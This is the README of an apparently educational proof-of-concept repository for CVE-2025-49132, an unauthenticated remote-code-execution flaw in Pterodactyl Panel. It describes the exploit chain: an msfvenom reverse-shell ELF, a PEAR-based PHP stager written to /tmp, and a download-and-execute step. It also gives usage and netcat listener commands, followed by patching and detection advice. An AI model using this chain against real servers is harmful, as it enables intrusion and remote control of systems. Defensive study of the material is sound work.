Pterodactyl Panel Locale RCE (CVE-2025-49132) — Educational PoC
For authorized testing and defensive learning only.
This repository is intended for controlled lab environments (e.g., CTF/HTB-style setups) where you own the target or have*explicit written permission to test it.
Context
This repository contains an educational Python proof-of-concept (pterodactyl_rce.py) for a real-world vulnerability affecting Pterodactyl Panel versions prior to v1.11.11. Under vulnerable configurations, an unauthenticated attacker may achieve remote code execution via the /locales/locale.json endpoint due to improper handling of the locale and namespace parameters.
This PoC variant targets environments where PHP-PEAR is installed and was built/validated against the retired Hack The Box machine Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. It may also work in other lab setups where the same conditions are met.
Vulnerability reference
- GitHub Advisory: GHSA-24wv-6c99-f843 (CVE-2025-49132)
- Affected: Pterodactyl Panel < 1.11.11
- Fixed in: v1.11.11 (patch commit
24c82b0…)
High-level idea (how the PoC works)
At a high level, the PoC chains these steps:
- Generates a Linux x64 reverse TCP ELF payload with
msfvenom.
- Serves that ELF using a HTTP server (one request, then exits).
- Abuses the vulnerable
/locales/locale.json handling to write a PHP “stager” into /tmp (via a PEAR pearcmd config-create trick).
- Triggers the stager through the locales endpoint so it:
- downloads the ELF into
/tmp,
- makes it executable,
- executes it to connect back to your listener.
The script uses a raw HTTP client rather than curl for the “upload” step because some tooling may normalize or encode characters in a way that breaks the crafted request.
Note: This README intentionally stays at a defensive/educational level. Use the code only in environments you are permitted to test.
Requirements (local)
- Python 3.10+ (tested with standard library only)
msfvenom available in $PATH (Metasploit Framework)
nc (netcat) if you want the PoC to start an auto-listener
- Network access between your lab machine and your lab Pterodactyl instance
Configuration
The script currently expects a panel HTB hostname in the source:
host = "panel.pterodactyl.htb"
Addionally the hardcoded path to PHP-PEAR is set to: ../../../../../usr/share/php/PEAR.
If you are testing this outside of the Pterodactyl box, you will need to adjust this path according to your local configuration.
Usage (controlled lab only)
1) Basic run (auto-listener enabled)
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: your callback IP reachable by the lab server
<LPORT>: port to receive the reverse shell
2) Run without auto-listener
If you prefer to run your own listener:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
Then, in another terminal:
nc -lvnp <LPORT>
Example (placeholder)
python3 pterodactyl_rce.py 10.10.14.225 5555
Output / what to expect
Typical flow:
- Generates an ELF payload (randomized filename like
shell_ab12cd34)
- Starts a one-shot HTTP server on
:8080
- Creates a PHP stager under
/tmp/<random>.php
- Triggers the stager
- Removes the local ELF file after trigger
- Prints a tip to upgrade your shell (PTY)
Screenshot of the succesful exploitation:

Known Issues / Lab Notes
- Lab instability: The target box/service may be unstable (timeouts, intermittent 5xx, delayed execution). If a run fails, retry after a short pause.
- Old payload reuse: The environment may sometimes trigger an older uploaded/staged file. The script cleans only a local file on the attacking box
but doesn't touch file in /tmp/ folder on the machine.
Workarounds:
- Re-run with a new random payload name (default behavior in this script).
- Change http.server initial port from 8080 to another port.
- Change your listener port (e.g., 4444 → 5555) and re-generate the payload.
- Ensure your HTTP server is serving the current file (stop any previous server/listener).
- If you have an access, manually remove old
/tmp/<name>.php artifacts on the target; otherwise, wait for a while and retry.
Defensive guidance (what to fix / how to detect)
Patch / mitigation
- Upgrade to Pterodactyl Panel v1.11.11 or later.
- There is no in-app workaround other than patching; you can block the
/locales/locale.json endpoint at the web server level, but it may break localization features.
Detection ideas
Look for suspicious requests like:
- Requests to
/locales/locale.json with unusual locale= traversal sequences
- Strange
namespace= values (unexpected names, long strings, odd characters)
- Sudden creation of unexpected files in
/tmp/ on the panel host
Correlate web logs with:
- new processes spawned by
www / PHP-FPM user
- outbound connections to non-standard destinations/ports
- unexpected use of
curl/wget from the panel host
Notes on responsible use
- Do not scan or test public instances.
- If you are an operator of a vulnerable instance, treat this as critical and patch immediately.
Acknowledgements / Thanks
- Original PoC: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) by Zen-kun04
https://www.exploit-db.com/exploits/52341
- Reporter / discovery credit: GitHub advisory credits @azimoff337 for reporting GHSA-24wv-6c99-f843 / CVE-2025-49132.
- GitHub Advisory Database / CVE process: for tracking and publishing the vulnerability details.
- Hack The Box (HTB): this PoC was built/validated in a controlled HTB-style lab environment for learning and defensive research.
No spoilers for active HTB content.